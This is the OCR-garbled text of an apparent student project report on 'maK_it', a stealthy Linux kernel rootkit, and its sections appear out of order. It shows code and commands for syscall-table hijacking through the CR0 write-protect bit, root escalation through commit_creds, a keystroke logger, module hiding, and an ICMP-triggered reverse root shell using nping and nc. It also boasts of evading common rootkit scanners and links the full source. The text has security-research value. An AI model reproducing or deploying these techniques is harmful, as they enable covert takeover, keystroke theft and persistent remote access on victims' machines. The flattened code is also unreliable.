maK_it: Linux Rootkit
Contents
1. probe irg_handler entry devname kernel_string dev_name if devname i8042 mirq gettimeofday_us printf nIRQ Device 25s Start time 10i n n 18042 mirq probe kernel function kbd_event kbd_event gettimeofday_us mirq printf 25s 10i n kbd_event kbd_event probe kernel function kbd_keycode kbd_keycode gettimeofday_us mirq 16 mak_it Linux Rootkit Blog http r0Otkit me printf 25s 10i n kbd_keycode kbd_keycode probe module mak_it function key_notify module_notify gettimeofday_us mirq printf 25s 10i n Module key_notify module_notify Detecting the mak_it rootkit keylogger functionality with timing data was a failed adventure still however found the process quite interesting An important note for this section is that didn t have the rootkit module hidden for this testing When the rootkit is hidden systemtap can t find it or its functions so these scripts fail will discuss this further in the next section 2 Rootkit Components 2 5 Hiding a Kernel Module Avery important aspect to a rootkit is its ability to remain hidden began looking at examples of other rootkits and ways in which the kernel modules hide themselves After some testing of these other rootkits discovered many of them were very unreliable and crashed the machine when you tried to unhide and remove the modules The mak_it rootkit is qui2. prepare_creds prepares a new set of task credentials for modification A task s creds shouldn t generally be modified directly therefore this function is used to prepare a new copy which the caller then modifies and then commits by calling commit_creds commit_creds installs a new set of credentials to the current task using RCU ready copy update to replace the old set Both objective and the subjective credentials pointers are updated This function may not be called if the subjective credentials are in an overridden state In order to demonstrate the privilege escalation function included in my rootkit created a simple script in systemtap that can demonstrate how it works This example is done using a hijack of the kill system call usr bin env stap include lt linux sched h gt function root_me long struct cred haxcredentials haxcredentials prepare_creds if haxcredentials NULL return haxcredentials gt uid haxcredentials gt gid haxcredentials gt euid haxcredentials gt egid haxcredentials gt suid haxcredentials gt sgid haxcredentials gt fsuid haxcredentials gt fsgid commit_creds haxcredentials probe syscall kill if sig 14 amp amp pid 9001 root_me mak_it Linux Rootkit Blog http r0Otkit me If our signal is equal to SIGALRM 14 and the process id is 9001 The script runs the root_me function This then changes all of the calling us
3. packet sniffer for reverse shell icmp shellDown Turn off the packet sniffer daemon To trigger the reverse shell listen on a port of your choice on your own machine The shell will be returned if you send an icmp packet with the right trigger word your ip port Example nping icmp c 1 dest ip 127 0 0 1 data string maK_it_SH3LL 127 0 0 1 31337 A port listener can be simply opened on your machine using nc 31337 mak_it Linux Rootkit Blog http r0Otkit me 26
4. string pid long sig long argstr string pid pid_t sig int info struct siginfo probe syscall killf printf name s npid d nsignal d n name pid sig The script above in 2 2 1 prints out the name of the system call the pid that should be killed and the integer representation of the signal By running kill I in a terminal we can see a list of the signals and their relative integer numbers Running kill 9001 in a separate window produces the following output from our script name kill pid 9001 signal 15 We can see that that the signal used in this case was SIGTERM 15 the process id we tried to kill was 9001 and the name of the system call we ran was kill We can also confirm this by using strace If we run strace e trace kill kill 9001 we will see similar information in the form mak_it Linux Rootkit Blog http r0Otkit me kill 9001 SIGTERM 1 ESRCH No such process This is the output you will see assuming there was no process with an id of 9001 of course We can see the error that was returned from this kill system call So the next task is using this information to escalate the user calling kill system call to have root privileges At this point in my research began looking through the linux source code for the first time eventually came across the kernel cred c this file is included as part of the linux sched h header file The two functions needed from this header file are prepare_creds and commit_creds
5. 5 090x0010 9x0000 x00100 x00290 6f20 4500 040 0000 3301 3646 c040 O 46eb 3 5 0001 48 6400 0000 0000 0000 ttl 64 id 62243 off 192 64 114 28 23 0000 4001 00 4eeb 5 0001 4865 a2db 05ea ac90 26c 64 Using this knowledge wrote my icmp reverse shell simply listens for icmp packets and inspects them for a secret key or password When this matches we then search for the attacker provided ip and port to send our reverse shell to With the rootkit installed a password of maK_it_SH3LL and an attacker machine of 127 0 0 2 The attacker can simply open up a listener on port 31173 From another shell the attacker runs the mak_it Linux Rootkit Blog http r0Otkit me 20 following nping icmp c 1 dest ip victim ip data string maK_it_SH3LL 127 0 0 2 31173 we should be greeted with the following mak attacker server S nc 31173 mak_it bin bash shell There are many different things an attacker could do with this technique such as using different packets or protocols to trigger the reverse shell or using a bind shell etc An interesting thing here is that the attacker could even customize their rootkit to bypass the firewalls of whatever the target organization is 3 Problems amp Decisions 3 1 Difficulties The main problems throughout the development process have stemmed from my lack of experience with using the C programming language feel have greatly increased my understand
6. LL NULL NULL static char env HOME TERM linux PATH sbin bin usr sbin usr bin NULL return call_usermodehelper argv argv env UMH_WAIT_PROC In this section of research also became much more familiar with the Nmap 6 toolkit After we install the mak_it rootkit on the victim machine Running tcpdump ip proto icmp X v we can view a lot of information about icmp requests 19 mak_it Linux Rootkit Blog http r0Otkit me tcpdump 05 01 00 192 64 114 28 on eth 0x0010 az2dt 010101000101919 17 0x0030 14 16 Tos 2 8912 0x0000 0x0010 4500 0054 040 lc 010101000101010 1415 090x0030 1617 090x0040 P tos 9x0 ttl c1108022 05ea 0800 d 5ec2 1 Loudatcost 5ec2 18 set 0 8912 rlo 4500 0054 0000 4000 33 3ae 0001 i 0a00 0000 0000 1011 1213 lalb 1cld lelf 2k 2223 2a2b 2c2d 2e2f 31 3 192 64 114 28 2 0000 4001 ac64 id5a 13ae 0001 850d 0a00 OO00 OOOO 1011 1 19 lalb 1cld lelf 2021 2 29 2 4 1 2e2f 3031 This is the output you would see by running a regular ping from our own machine to the victim machine Example ping victim rOOtkit me Using a tool called nping part of Nmap 6 we can craft packets If we run nping icmp c 1 dest ip victim r00tkit me data string Hello World we can see the Hello world in the tcp dump on the victim machine 2 6 3 Output of Hello world icmp packet 192 64 114 28 0x0000 4
7. ODULE open open_dev read read_dev write write_dev release release dev We can see from this struct that we can run our own functions such as write_dev when a write operation is carried out on our device file and read_dev when the file is read from This will allow us to send commands or information to the kernel and also read information back To create a character device we need to register one To do this we need to supply a major number and a name The Major number defines which driver is handling this device whereas the Minor number is only used in the scenario that multiple devices are being controlled by the same driver For my Rootkit use a Major number of 33 as default this was free in my dev folder so it should be ok If you would like the kernel to automatically assign a Major number for your device use 0 as a Major number 11 mak_it Linux Rootkit Blog http r0Otkit me Using stap L kernel function register_chrdev It is possible to look up the various variables accepted by the register function On unloading our kernel module we also need to unregister this device using unregister_chrdev In order to implement a command option compare strings written to our device file with certain trigger words If they match then run other rootkit functions This is a very easy method of allowing our rootkit be communicated with and controlled from the user space also later implemented a meth
8. T Ba a ni w gt ga SHFT ae a cae met Ear bp 13 mak_it Linux Rootkit Blog http r0Otkit me n m ar Nye oe SHET 5 go j caps F2 F21 F3 F4 F5 Fe F7 F8 F9 F10 NUML SCRL HOME uP PeuP L 5 R END D PGDN INS RBEL 3 go ar ys ee We sg gt yee Tat gt ALENTIR I y EETRET fos PPSeR S TALT I y HOME nUT PGUP L R END D PGDN SETNS O a a a ta PAUS TF3 The next thing started investigating was a method of detection wanted to see if could detect a keylogger based on time signatures alone began probing my kernel modules some more and wrote some timing scripts In order to probe our rootkit kernel module created a folder in the lib modules lt kernel gt directory called custom then copied my mak_it ko module there It was possible to then probe this module using stap L module mak_it function This returns a list of all the functions and probe points within my rootkit module thought it would be interesting to examine the timing data between keypresses on average Systemtap then allowed me to put this into a nice histogram graph The image in 2 4 3 is a simple run of this script and the output ran the script for 10 seconds and smashed the keyboard We can see the number of keys pressed in each time interval The code for this can be seen in the figu
9. d plan a lot better when dealing with kernel code A simple quick example where Systemtap proved useful was when it allowed me to very quickly map the integers representing the keyboard key presses to their equivalent key in real time also was able to gather useful timing data and performance information when debugging different issues Another very reliable way of debugging kernel issues was by printing values using printk Using the various different debug levels you could store kernel data or simply print it out to the terminal decided to add the option of turning on and off debugging for the rootkit This debug option prints debug information about the command and control of the rootkit and the functions that were run into our var log messages file This was also very useful for testing as the debug data is stored and can be read after a crash You can read how to do this in the user manual Using Systemtap to test rootkit functions before did in a kernel module greatly helped me decide quickly what parts of the rootkit wanted to implement It proved much quicker than writing a full kernel module for each component wanted to test 1 Introduction 1 4 Understanding Kernel modules Loadable kernel modules allow a Linux developer to extend the base kernel functionality of the Linux operating system They can typically be used to add support for plugin hardware file systems or as a means of adding new system calls Having loadable ke
10. d the undertaking of this project The most significant of which was to gain a much deeper understanding of how the Linux Kernel and operating system works and how it can be subverted in different ways to carry out hidden operations or tasks This is essentially the main purpose or goal of a rootkit It allows a party maintain root access to a compromised machine or host through various different means This project explores and implements a hopefully more interesting subset of these techniques Along with looking at and researching these well known rootkit techniques explored are alternative means of carrying out the same tasks in different interesting ways Using some of my own techniques this software manages to quite easily avoid detection from many widely used rootkit scanners The maK_it Linux rootkit is by no means impossible to find for a well seasoned forensic expert or system administrator but it is difficult It also demonstrates the general difficulty in preventing and detecting such malicious software when running at an operating system level This leads on to other important aspects of this project which is the development of ways to prevent or mitigate against these explored techniques The main product developed at the end of the whole investigative process is a Loadable linux kernel module written in C There were also many smaller proof of concept modules and scripts developed throughout that explored other elements and techniques no
11. eal_module void if modHidden return list_add amp THIS MODULE gt list modList modHidden To reveal the module so we can then remove it we simply add the module data we stored previously back into the amp THIS_MODULE gt list This is a very effective way of hiding our kernel module and is a widely used technique in stealthy rootkits 18 mak_it Linux Rootkit Blog http r0Otkit me 2 Rootkit Components 2 6 Data Exfiltration Sniffing amp Remote Access The goal of this component is to allow an attacker maintain remote access the target machine To implement this functionality also needed to implement a packet sniffer chose to use internet control message protocol ICMP for this The idea is that the attacker sends a malicious packet containing a secret or a password and gets sent back a reverse root shell to whatever ip or port of their choosing spent a lot of my time researching this area as found it quite tricky to find a way of invoking a user space shell from the kernel eventually stumbled across the usermode helper API and the call_usermodehelper function This function invokes user space scripts from within the kernel This greatly increases the reach of our rootkit and would allow us to exert much greater control over the operating system much easier There is definitely a lot more cool stuff to be investigated in future in this area static int start_listener void char argv SHE
12. eas opted for stealth in my project Some of these detection methods include looking up the current memory address of a system call against the boot System map file If there is any difference it s likely our system call has been hijacked wanted to understand how rootkits work so still explored this technique in depth Through controlling the read and write system call a rootkit can manipulate so many different functions of a system System calls are used extremely frequently in the regular operation of an operating system and controlling them allows greater manipulation and control of the operating system explored many different aspects of hijacking system calls and many different techniques It can be used to hide files processes open ports among thousands of other things Try running strace along with any command and you can see how abundant system calls are used The first simple example went through is the very basic hijacking of the write system call In this example add the output of the following command to a template c kernel module in order to include the address of our system call table as a define in the code grep sys_call_table boot System map uname M awk print 1 The goal is to change the address of the write system call in the system call table to our own function In order to do this we need to also keep the address of the original write call As you can see in the image 2 1 2 below the ke
13. er s credentials to that of a root user uid 0 To demonstrate this script We simply run this systemtap script in one window and then run kill s SIGALRM 9001 as a regular user in another window The outcome of this can be seen in 2 2 3 mak localhost S id uid 500 mak gid 500 mak groups 500 mak mak localhost S kill s SIGALRM 9001 bash kill 9001 No such process mak localhost S id uid 0 root gid 0 root groups 0 root 500 mak Using this same root_me function it is possible to escalate privileges under an extremely large number of different circumstances It is just as easy to hijack any other system call and do the same privilege escalation under many different alternative conditions or contexts This could also just as easily be done in a kernel module 2 Rootkit Components 2 3 Communicating with the Rootkit This was one of the more tricky elements to the rootkit needed to find a way of sending commands from the user space to my rootkit that is living in the kernel space This involved looking up many different techniques and reading the source of multiple different rootkits A large majority of rootkits seemed to use the proc filesystem as a means of receiving commands from the user space implemented this and noticed that most scanners also picked up this technique decided to start looking at another means of communication When searching it dawned on me that kernel modules can be used to
14. extend support to new hardware devices researched how device drivers are created and eventually stumbled across 10 mak_it Linux Rootkit Blog http r0Otkit me character device drivers in the Linux Kernel module programming guide decided to use a character device as a means of communicating with my rootkit will explain how character devices are used in the mak_it rootkit in this section Devices store their files in dev in the linux operating system Here you will find the name Major and Minor numbers of your device The Major number is a unique number used to represent every device used by the kernel For a simple example running the command Is al dev should print a list of most of this information along with the associated device names In here you will see things such as cd rom drives disk drives and network interfaces etc Each device has it s own files to be used by the devices Next I looked up the file_operations struct This struct is defined in the inux fs h header file A file operations struct holds pointer information Each pointer is to a function defined by the device module or driver This set of file operations could be considered a set of handlers for typical operations carried out on a file such as open read write etc Our module can then provide the functions that define how these operations are handled for our specific device file File operations for device struct file_operations fops owner THIS M
15. implemented widely decided against using them in the end as they made my rootkit very easy to find which think defeats the challenge purpose of them spent a lot of valuable time researching and definitely am happy learned so many new things feel if had more time could have definitely had a much more impressive and extensive product at the end Another difficult element was trying to balance and find time around all of the other work was carrying out in final year to research There were lots of other areas would have liked to look into that didn t get time to look at in the end One of which was implementing my own entire virtual file system as a means of hiding the rootkit 4 Conclusion 4 1 Learning Outcomes amp Achievements 22 mak_it Linux Rootkit Blog http r0Otkit me feel have learned so many new things as a result of this project am much more familiar with methods deployed by old and modern rootkits as a means of carrying out their operations also feel am much more understanding of the Linux operating system would like to summarise the new tools and areas have gained knowledge in as a result of this project Kernel Module Programming amp Linux development Systemtap As both a live OS debugging tool and as a programming language Nmap amp nping amp netcat The Linux kernel programming API C ICMP protocols rootkit Implementation detection amp mitigation techniques System call
16. ing of it throughout though Writing kernel code is of course very different than writing user space code which is all had experience with became aware of many of these differences while undertaking the project There were lots of resources available with regard to learning about rootkits and kernel development did however find that most publicly available rootkits seem to be poorly written and often resulted in kernel panics and crashes feel have overcome many of these issues in my own project decided to aim at the stealth aspect of my rootkit was testing all of the kernel modules developed against commonly used rootkit scanners My goal towards the end became hiding it from these scanners There are so many different techniques and ways available for obfuscating and hiding rootkits that my success in this area is only considered a minor achievement in my own view There were many commonly used techniques that would result in much lower reliability of the final project and as a result decided to completely avoid them Writing to a file from the kernel is one such issue spent a lot of time trying to get my implementation of this to work but it still resulted in inconsistencies and crashes A big decision was deciding against the use of system call hijacking using this technique found set off most of the rootkit scanners am still very happy with the knowledge gained looking into this technique however 3 Problems a
17. it that decides if write protection is on or off is the 16th bit of our crO Control register 0 All that was necessary to do was then flip this bit before modifying an address in the system call table As you can see below Changing control bit to allow write write_cr read_cr amp 0x109000 original_write void sys_call_table _NR_write sys_call_table _ NR_write new_write printk KERN_EMERG Write system call old address x n original_write printk KERN_EMERG Write system call new address x n new_write mak_it Linux Rootkit Blog http r0Otkit me Changing control bit back write _cr read_cr 9x10909090 2 Rootkit Components 2 2 Privilege Escalation The next item explored in this area was the hijacking of the kill system call did this using systemtap The privilege escalation function introduced in this research is used in my rootkit The means by which it is triggered is different than using a system call hijack however This is a good example of testing functionality with systemtap before implementing it in a kernel module The goal of this component is to escalate a regular user to root privileges when they try and kill a magic process id In this example lIl be using a magic process id of 9001 By running stap L syscall kill we can view the variables available to our systemtap scripts usr bin env stap systemtap syscall kill variables syscall kill name
18. key_notify handler function is called it takes a param gt value which is an integer value representing what key was pressed then map this to a character and store that character in the buffer This is a much more efficient and safe solution than storing the key press data to a file Writing to a file from the kernel is strongly advised against practice in kernel development and can result in many issues managed to avoid this altogether Using the communication techniques between the user space and kernel that described earlier was able to dump this buffer data to the user space when a read is performed on the character device This means an attacker can now read the key press information without the need to worry about reading and writing to regular user space files in the kernel The key_notify handler function in the rootkit also detects if the shift key is pressed this means we can map the different symbols for different scenarios Using systemtap mapped which integers matched which keys In the figure 2 4 2 it s easy to see which positions of the dictionary map to which keys this only shows the keys when shift isn t pressed There is a separate map for when it is This was done through trial and error Key press without shift Static const char keys fon ESen In es Sg Ag Se oe eg ee g tat Keali ma TBS TAB Bg Ry Nee nen af cy pr e mpn Hor ale ae 0 a lige ENTR TETRE an s dn Ee be k
19. mak_it Linux Rootkit Development amp Investigation with Systemtap Technical Specification This project documents with proof of concept examples various techniques employed by modern rootkits to leverage the Linux Operating system Using Systemtap and Loadable Kernel modules it demonstrates how commonly found rootkit functionality can be implemented and also introduces some techniques on how the software can remain undetected Also within are methods of mitigating and detecting these aforementioned techniques Submission Date Project Supervisor Author Student Number 03 06 14 Dr Darragh O Brien Ciaran McNally XXXXXXXX mak_it Linux Rootkit Blog http r0Otkit me Contents Page 1 Introduction 3 1 1 Overview 1 2 Systemtap Overview 1 3 Installation Guide 4 1 4 Development amp Test Environment 5 1 5 Understanding kernel modules 2 Rootkit Components 6 2 1 Accessing and Modifying System Calls 2 2 Privilege Escalation 8 2 3 Communicating with the rootkit 10 2 4 Key Logging 2 5 Hiding a Kernel Module 17 2 6 Data Exfiltration Packet Sniffing amp Remote access 18 3 Problems amp Decisions 20 3 1 Difficulties 3 2 Testing 21 3 3 Time constraints 4 Conclusion 22 4 1 Learning outcomes amp Achievements 4 3 Future Research amp Ideas 4 4 Appendices 23 5 Code mak _it Linux Rootkit 24 mak_it Linux Rootkit Blog http r0Otkit me 1 Introduction 1 1 Overview There were a few goals and challenges that encourage
20. mp Decisions 3 2 Testing Testing was one of the hardest aspects to this project My only option was to develop and test everything on virtual machines for this reason was already very familiar with virtualbox and found 21 mak_it Linux Rootkit Blog http r0Otkit me this excellent to use in this regard as could take snapshots of my Operating system before testing any of the new techniques or kernel modules It is quite difficult to test code within the kernel so mainly had to rely on printing and logged errors Systemtap was the greatest tool in this regard as could test my kernel functions before actually implementing them in the kernel module It was very helpful being able to debug in real time with systemtap could probe the values of the variable being passed around by any of my functions This was an excellent debugging tool and feel can definitely use this knowledge to diagnose any operating system in future 3 Problems amp Decisions 3 3 Time constraints The largest problem with all of this research was trying to decide how much time to give each of the components As all of this information was very new to me did have difficulty in allocating time to spend on each element The largest time sinks found that didn t pay off other than the knowledge gained was looking into system call hijacking implemented file and process hiding mechanisms tty hijacking etc but all of these techniques were well known and
21. o compiled here The lets_mak_it sh takes the template c file and creates maK_it c This is built in a way that makes our rootkit fully compatible with the current kernel Then our rootkit is compiled into the maK_it ko kernel object file 2 Running insmod mak_it ko installs the module mak_it Linux Rootkit Blog http r0Otkit me The uninstall process simply involves unhiding the kernel module and then running rmmod mak_it You can read more about this in the user manual 1 Introduction 1 4 Development and Test Environment Writing kernel code can frequently result in operating system crashes and kernel panics For this reason decided to run a copy of CentOS 6 5 within virtualbox This allowed me to take snapshots of my system and test thoroughly without the need to recompile my kernel or worry too much about crashes also was able to test various network components as virtualbox allows the sharing of a virtual network between the different guest operating systems Systemtap provided very useful for testing It allowed me test functionality and live values against the kernel very quickly and in real time could also read live data as it s being passed around the kernel via simple prints Other tools for debugging such as strace dmesg or reading var log messages paled in comparison to systemtap Testing was definitely one of the harder areas with this project as found you needed to understand a lot more of what you were doing an
22. od of reading logged keys through the read operation The control interface for the maK_it rootkit by default is located at dev maK_it Commands can be sent to our rootkit by simply running echo command gt dev maK_it Where command is some documented trigger word This can be used to turn on debugging or turn on and off some of the rootkit functionality For a simple example of this techniques effectiveness Using the root_me function mentioned in the previous section 2 2 Privilege escalation was very simply able to give a regular user root privileges when they run echo rootMe gt dev mak_it 2 Rootkit Components 2 4 Key Logging Key logging was one of the more interesting features commonly found in rootkits that investigated The goal here is to secretly capture keypress data and store it somewhere so that an attacker can later recover the data There were many different interesting ways came across of capturing keyboard data Below you will see a list of the main ways keyloggers are implemented basically it is possible to insert a key logging mechanism into any of these items below Building an interrupt handler Hijack one of the keyboard related functions Hijack the sys_read system call Use a keyboard notifier There were many problems with some of these techniques When first started looking up the Linux keyboard stack and how keyboard inputs and interrupts are handled of course started at a very low level then followed
23. ordpress com http kernelnewbies org http www redbooks iobm com abstracts redp4469 html http man7 org tlpi http c learncodethehardway org book Kernel development amp device driver programming Love Robert 2012 Devices and Modules In Linux Kernel Development 3rd ed USA Indiana Addison Wesley 337 363 24 mak_it Linux Rootkit Blog http r0Otkit me http stapbofh krunch be systemtap bofh fosdem2011020501 pdf 5 mak it Linux Rootkit code 5 1 template c The entire code for this project is available at the following location https github com mak mak_it Linux Rootkit README USER MANUAL This is a simple rootkit implementation for the project described at the following locations http blogs computing dcu ie wordpress makO http r00tkit me This rootkit avoids both the chkrootkit amp rkhunter scanners as intended It is fully compatible with the latest version of CentOS 6 5 To run simply run make in the folder with the Makefile install with insmod mak_it ko Remove with rmmod mak_it 25 mak_it Linux Rootkit Blog http r0Otkit me Echo any of the following into dev mak_it debug turn var log messages debug messages on or off keyLogOn turn the keylogger on keyLogOff turn the keylogger off modHide hide the module hidden by default in insmod modReveal reveal the module so you can rmmod it rootMe give root privileges to user shellUp Turn on a
24. rating system was to do with simple compatibility issues Systemtap is very compatible with the 2 6 32 kernel As Linux kernel development moves quite fast found there were some problems using Systemtap with newer kernel versions also found the documentation on this kernel is a lot more readily available along with there being more resources in general Red Hat are contributors to systemtap so it would make sense they maintain compatibility alongside their major operating systems wrote a very simple bash script to install the required packages needed by systemtap for my development environment This involves installing the kernel debuginfo packages This script has been used by others in their open source projects and some have even on occasion referenced my blog bin bash Use this to install and or update systemtap on CentOS WEB http debuginfo centos org 6 1i386 RELEASE uname r MACHINE uname m PKG1 kernel debuginfo RELEASE rpm PKG2 kernel debuginfo common MACHINE RELEASE rpm wget WEB PKG1 wget WEB PKG2 Build Downloaded debuginfo packages rpm Uhv kernel debuginfo rpm InstaLll systemtap and kernel development packages yum install systemtap kernel devel There are two small steps involved in installing the rootkit or any of the kernel modules 1 Run the make command within the rootkit folder This using the MakeFile will first run the lets_mak_it sh script The reverse shell daemon is als
25. re 2 4 4 14 mak_it Linux Rootkit Blog http r0Otkit me usr bin env stap global start intervals probe module mak_it function key_notify start tid gettimeofday_us probe module mak_it function key_notify return t gettimeofday_us old_t start tid if old_t intervals lt lt lt t old_t delete start tid ale T20 13 probe end 14 printf intervals min dus avg dus max dus count d n T5 min intervals avg intervals max intervals count intervals print hist_log intervals As key_notifier operates in my kernel module completely separate to the regular functioning of the keyboard in the kernel wasn t able to make a time based detection method for a keylogger There was little to no effect on the speed at which keys were processed when my observer key logging function was active The time was too small to notice a significant measurable difference The function timing script displays the time differences between the functions being called in microseconds You can see the output of this function timing script in figure 2 4 5 and then also the code for the script in 2 4 6 15 mak_it Linux Rootkit Blog http r00tkit me usr bin env stap This simply times the difference from the interrupt to the kbd_keycode global devname mirg kbd_event kbd_keycode module_notify probe begin printf 25s 1 s n Function Time Difference
26. rnel module is used to carry this out This operation can be performed on multiple different system calls within the same module There are endless possibilities to explore for an attacker in this regard as there are over 300 system calls mak_it Linux Rootkit Blog http r0Otkit me There are a few interesting techniques used within this example that demonstrate the easiest way of carrying out this task You can find my proof of concept code available at the following location https github com mak Syscall table hijack LKM There were some bumps that needed to be overcome in my discovering of this technique As a method of mitigating these attacks in modern operating systems the kernel doesn t export the system call table What this means is that the system call table is marked with a read only flag had to look into this further and find a way of overcoming this Process Userland Space Kernel Space System call handler Loadable Kernel System Call Table Module Replaces Address in System call table with location of evil write function write Write syscall er yids evil_write qin functionality executed then pass to original It is possible to verify that the current OS is operating in Write Protected mode by running cat proc cpuinfo grep wp If this prints true the system call table is read only This is because of a bit being set in the control register When I looked this up it explained that the wp b
27. rnel modules allows functionality to be added or removed easily without the need to have all anticipated functionality already compiled into the kernel of the OS This helps with and encourages the resolution of compatibility issues with hardware and the efficiency of memory usage Kernel objects ko are modules that have been built using the Kbuild process Kbuild is also known as the Kernel Build System This is a very similar process to the regular user land compiling of C code into mak_it Linux Rootkit Blog http r0Otkit me elf objects 0 Kbuild includes various kernel configurations and sections that are needed by the kernel to run our code A module can be added to the kernel using the insmod command and it is also possible to remove it using rmmod There are also various other useful tools such as modprobe modinfo and Ismod 2 Rootkit Components 2 1 Accessing amp Modifying System Calls There are many rootkits that use System call hijacking to exert control on the victim operating system This is a very powerful technique and allows our rootkit to pretty much carry out any operation possible in an OS The technique involves hijacking a system call manipulating the data being passed and then passing the manipulated data on to the original system call function have decided against implementing this functionality in my final project simply because most rootkit scanners are written to pick up and detect this technique wher
28. s Device Drivers Redhat amp CentOS linux distributions 2 6 Linux kernel I am happy also with my achievements The product developed at the end is reliable and works on the latest version of an operating system widely deployed and used in production environments am also happy that managed to bypass the most commonly used Linux rootkit detection tools 4 Conclusion 4 2 Future Research amp Ideas would like to investigate in future how this same functionality would work on the most recent version of the linux kernel This project has also given me a great interest in systems programming that would like to explore would like to also further look into how rootkits work on slightly different operating systems such as Windows and BSD am very happy with the research did during this project and feel have a much greater understanding of how operating systems are developed and work 4 Conclusion 4 3 Appendices 23 mak_it Linux Rootkit Blog http r0Otkit me System call hijacking http vulnfactory org blog 201 1 08 12 wp safe or not http en wikipedia org wiki Control_register CRO http memset wordpress com 2010 12 03 syscall hijacking kernel 2 6 systems http Awww tidp org HOWTO html_single Module HOWTO http en wikipedia org wiki Loadable_kernel_module Research https sourceware org systemtap langref http tldp org LDP Ikmpq 2 4 html book1 htm http www phrack org http memset w
29. t included in this final product Some of the different components of the rootkit are listed below also some of the different areas researched Accessing and Modifying System Calls Hiding a kernel module Key Logging Privilege Escalation Data exfiltration Packet Sniffing and Remote Access Hiding processes files and ports Communicating with kernel space 1 Introduction 1 2 Systemtap Overview Systemtap had a very large part to play in the development of this project Systemtap is a linux system tracing tool through which a developer can script probes to inject live code onto a running kernel Through using systemtap was able to probe and access information on any part of the Linux kernel in real time This not only greatly helped ease the otherwise steep curve of the kernel development process It allowed much deeper analysis and investigation to be performed Systemtap allowed me to test and try out functionality of my rootkit before implemented it ina kernel module previously had very little knowledge of kernel development now feel could tackle much harder systems programming problems and diagnose kernel issues Through using systemtap also became more familiar with the kernel application programming interface mak_it Linux Rootkit Blog http r0Otkit me 1 Introduction 1 3 Installation Guide This project was developed for the latest version of the CentOS 6 5 operating system The reasons for choosing this ope
30. te safe in this regard and have vigorously tested it take full advantage of the communication ability of this rootkit created commands to hide and reveal the rootkit This is simply a matter of removing the kernel module from any internal lists and structures it may be stored in inside the kernel In 2 5 1 below you will see how remove the module from the module list used by Ismod and also remove the kobject from the sys module directory Hiding the kernel module void hide_module void if modHidden return modList THIS MODULE gt list prev 17 mak_it Linux Rootkit Blog http r0Otkit me list_del amp THIS_MODULE gt list kobject_del amp THIS_ MODULE gt mkobj kobj THIS MODULE gt sect_attrs NULL THIS _MODULE gt notes_attrs NULL modHidden 1 We have simply stored the module data so we can put it back into the list when we want to reveal the module The sect_attrs and notes_attrs are set to NULL so the kernel won t complain when we rmmod the module Normally the kernel tries to look at these pointers when it is removing a module We can confirm the module is hidden completely by checking any of the usual places you can normally detect a kernel module Running the following commands should reveal nothing Ismod grep mak grep mak proc modules grep mak_it proc kallsyms Is sys module grep maK modinfo mak_it modprobe c grep maK revealing the kernel module void rev
31. the data up through the stack There are many problems with implementing an interrupt handler key logger It is completely dependant on the platform as this occurs at a very low level in the whole process This means it would require a lot more work to get working and it may not work on all or any other devices went through a lot of the keyboard related functions using systemtap Some of the information found in here was very useful You can read a list of keyboard related functions if you run the following stap L kernel function kbd used a lot of the information discovered from exploring these functions in the final rootkit mentioned my reasons for not Hijacking system calls in my rootkit in the relevant section 2 1 The keyboard notifier interface was a perfect and easy way of accessing keyboard information It also closely follows the Observer software pattern which made understanding how to use it very easy It involved registering a keyboard notifier which observes the keyboard and then receives a 12 mak_it Linux Rootkit Blog http r0Otkit me notifier_call when a key is pressed We can run a handler function to handle these events when they happen This definitely proved the most efficient way of writing my key logging mechanism Key Press Notifier kbd_event Block lt a occurs Registered Keyboard Notifier simply created a large buffer to store the key press data When a kbd_event occurs the
Download Pdf Manuals
Related Search